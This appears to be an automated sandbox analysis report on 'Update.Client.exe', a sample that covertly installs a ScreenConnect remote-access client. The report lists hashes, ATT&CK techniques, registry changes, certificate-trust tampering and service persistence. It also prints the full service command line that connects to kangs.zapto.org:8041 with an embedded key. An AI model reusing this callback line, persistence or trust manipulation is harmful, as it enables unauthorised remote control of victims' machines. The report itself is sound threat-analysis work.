e4491bc74740f7b77d2bf3db41e382b729f486b0bcb5dd0e05e7d01ee4cf83ae

Analysis

max time kernel
90s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20250217-en
resource tags

arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system
submitted
07/03/2025, 14:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Update.Client.exe
Size 81KB
Sample250307-ry2g4sslz5
SHA256 e4491bc74740f7b77d2bf3db41e382b729f486b0bcb5dd0e05e7d01ee4cf83ae
MD5 177404310049061902a1dd466d7dd8fa
SHA1 ae8439659c0bcce8ad7c77810af3ccc7035c2d88
SHA512 5c35687894e77008189f393b7f1447ab968627b88b1e054cdfd1231d4a35c03709bcd58bcdef80dde9f99d87a43a1a90d95d4fc3c312a0d764139b4342ee4923
SSDEEP 1536:xoG6KpY6Qi3yj2wyq4HwiMO10HVLCJRpsWr6cdaWPBJYY37dJ:renkyfPAwiMq0RqRfbaWZJYY3/
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery persistence

Malware Config

Signatures

Manipulates Digital Signatures 1 TTPs 2 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	Update.Client.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	Update.Client.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (210e492a-3b03-498e-9aad-524dc45ea564)\ImagePath = "\"C:\\Users\\Admin\\AppData\\Local\\Apps\\2.0\\B1LAWRX2.ZTL\\H23OE9JV.NZX\\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\\ScreenConnect.ClientService.exe\" \"?e=Support&y=Guest&h=kangs.zapto.org&p=8041&s=210e492a-3b03-498e-9aad-524dc45ea564&k=BgIAAACkAABSU0ExAAgAAAEAAQBt8GydmSLuUL0rwf9arK5NYD7z7WrABmq8Uzh9zE31Q97LnDTxIZVwBMKTUsuKlLYpBn%2bf6X5fdIbD%2ftv5c%2fvLfwjvbw8EJbtsI40lfM%2fyIZXf4iGQ72nz000p%2fDoWJq0%2fot0u9HnMs7tIP%2b3iM4dIB%2fKqF4ljbFOTUIzo%2by%2f4uNqPdUjUDKkjwIS2RMRnDXymk2UuvwQXBvTx7Az8NN3f2YwOhqorGi%2b5f2RYPQl3FXcl7BQM2TmPkZp324mMjUJjOIMZEzQr%2fWLh6W%2bN5FPaBKOuV3ZZz4TcfKV%2bEwny%2bjRgRDf2%2f7I3CerXq8IdyGdJRk0PW4H8fV1kBmDpTGqh&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA%2ba%2f0EON6uUyYR9qOldi9rAAAAAACAAAAAAAQZgAAAAEAACAAAAD6flPfGaoPLRysdi4yZ%2fFculQ7ETmYQy7GrW6umvwIXAAAAAAOgAAAAAIAACAAAAD3AfEV5Ie22scPEJ4CWWmAPYx4ykMgG0aKtOnxrucUmqAEAACAShflr8wQUJSAo95EXMdenNnEGVLkZNbDUIhesXS97Xp6oFyXSoE0e1XluHebpJsxSex5k9aYqcPybrA%2bSZW0WxH%2btPsr7LL70ZFLY6seHK5E0a1zicqnCZI1z39AbtCY6a1xqzvgQOdwnNaAfomVlfoFDXyI6AL3rW7UBlsMtGbDMIsaYn0vYIbLfvwjiC4wg0rJ7vhZDQ7tP6MtbK1y1ttjjF08uDWNKvjO1DmLEnb2IkoQ6S3xyPGVldRXSDtCu6ToEP5QSkk%2f0xehtIakWGz2MgbCBh4m5eFcNkv36VO9NxubMgnBEoQ0mjp4af9jaf7UYkjrdemwH4MBUc4ptPk4L1kHdvuOAYRJfRRQQNtXxVPUjeWinn7JfBV8fu9Glwqg1xrQaSrCcjrzOvwLQ1aReW%2bU4NTmF3WG18IlIGkVlOxSVDd%2f9CCHX7e7D0%2fH%2flZGwjeHd2qgMcuceu%2fVpyj8EhBDpOVtOwqRvBi4K1%2fJGyt6x%2bVuW%2flvYp6ICS86jXUu78t5GKGxmWlt6BXK8zQpV8n%2fQg0AXoLEyIsqLR2Wina5IqwohVBzj7DbOhX5mXqfdYQVNnOPa5zFoI5At9qtbBGPs31o0C65aS4mrHSyYN%2bEg5lELOnvMjJhhuXBW0mKjXh4DGf8FHDY4f8xCK091by%2b0Xk6eYrY3PujwVd0Wwj9x4hdKIfzMpu77VbKCjFnCX1IQnlUN3BlIcARU8cQjMvT6t2oXg7YfU%2fJtiLt4QdtLzGWinNvtTBKJzqjkjiLeYptpa%2b%2fWGHtrrHC68m6%2fN0d0dbfjyPwNb5TmBQ54dWAPYk%2fOLBezEleSFh0GMuBtNZETviT5ZAHVTBip6WSB3wPo0HZJdhEiLH7c7T7QjZiU16QvzUywlO9522ffJOWt0bKDwoZxoihVxBjn89u729C%2fFW5ZkdGNGP8dqZn9dl1tXfNuKQT6fFtSTV25qWbUoZ8yhXxXHuZyweoJlKk%2bCbhVyiQXXtehMZN7wiF8tEf%2f3m2uQLWD%2bTo6nP4xwVzXgxC%2b%2bpfH7ZpXwRxJesXsMvgmdfJEc4%2bcBoFziYrRWEmykTU9AcF1nTeTxAIGZvz9faSm3vBZP%2faV35%2fp66uPP%2foSWP8kW%2bi%2bdYxn9baBPPpaothr1r4tJXRF7zmwPbmLYlhACopCgLGX%2bK%2bqFKKlTFpfnSC7CbtbsPto5SA%2bWN%2b0y1%2fQfESR%2fX%2fbUHnYv6X94BEZXYsq3oayA4oh%2fvBylVJ037635Rz7h1FAW10Ug1t57KN4eFmoHtU%2b8T2BgRRQTyw5WpKzVq%2fgLqAWDf3CNVjdonKP%2bonLetkY0LtF3RnY8H76urYjqQkJ8PD32gEY%2f%2f78yrgDgLBxALdZIot7gpJpBy37bfpHQI6UXW13dpgIYTxzo4ThGMt0FRFhiszsdECsvTTkg2e160NJ2XsLsRYTFXQiSH8cUMIJGNV38EVR0U9CG6g4AXeCElkroGvj71dzWzLpBq%2bDjBGk0V5Lt0a51Mu2t8jKnJBZaOuJqzu7a%2brPWrOF7%2f6C7gf0%2fgauBoKRdHS41MqvAv0jSU%2biYgW3hoilosR7Zr2pUAAAADMa6gHIufDkzFguMHSHA3jcRks5xNXSsFQC7GnRk9rInl%2fWoYLROqrzqUdPYPVA2OphLB8nu%2f9S4F5VBPXvSkm&r=&i=Untitled%20Session\" \"1\""	ScreenConnect.ClientService.exe

Downloads MZ/PE file 6 IoCs

flow	pid	Process
2	1984	dfsvc.exe
2	1984	dfsvc.exe
2	1984	dfsvc.exe
2	1984	dfsvc.exe
2	1984	dfsvc.exe
2	1984	dfsvc.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\user.config	ScreenConnect.WindowsClient.exe
File opened for modification	C:\Windows\system32\user.config	ScreenConnect.WindowsClient.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe

Executes dropped EXE 5 IoCs

pid	Process
5044	ScreenConnect.WindowsClient.exe
740	ScreenConnect.ClientService.exe
1132	ScreenConnect.ClientService.exe
1364	ScreenConnect.WindowsClient.exe
2336	ScreenConnect.WindowsClient.exe

Loads dropped DLL 16 IoCs

pid	Process
740	ScreenConnect.ClientService.exe
740	ScreenConnect.ClientService.exe
740	ScreenConnect.ClientService.exe
740	ScreenConnect.ClientService.exe
740	ScreenConnect.ClientService.exe
740	ScreenConnect.ClientService.exe
1132	ScreenConnect.ClientService.exe
1132	ScreenConnect.ClientService.exe
1132	ScreenConnect.ClientService.exe
1132	ScreenConnect.ClientService.exe
1132	ScreenConnect.ClientService.exe
1132	ScreenConnect.ClientService.exe
1132	ScreenConnect.ClientService.exe
1132	ScreenConnect.ClientService.exe
1132	ScreenConnect.ClientService.exe
1132	ScreenConnect.ClientService.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4376	1176	WerFault.exe	77

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Update.Client.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 54007200750065000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\appid = 68747470733a2f2f776973652e73637265656e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2f53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013\Transform = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\lock!04000000a023580eb4130000340a0000000000000000000 = 30303030313362342c30316462386636653738303362376636	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{60051b8f-4f12-400a-8e50-dd05ebd438d1}\scre..tion_25b0fbb6ef7eb = 68747470733a2f2f776973652e73637265656e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\lock!010000008722580ec0070000b8070000000000000000000 = 30303030303763302c30316462386636653638633261393065	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\NonCanonicalData	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a\DigestMethod = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06\identity = 53637265656e436f6e6e6563742e436f72652c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Applications\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\identity = 53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\Files\ScreenConnect.WindowsClient.exe.config_f7 = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013\Files	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a\lock!080000006223580ec0070000b8070000000000000000000 = 30303030303763302c30316462386636653638633261393065	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575\lock!040000006223580ec0070000b8070000000000000000000 = 30303030303763302c30316462386636653638633261393065	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\Gc_scre..tion_a1398d06ca7d29e8	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\VisibilityRoots	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Applications	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a\implication!scre..tion_25b0fbb6ef7eb094_0018.0003_0b = 68747470733a2f2f776973652e73637265656e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
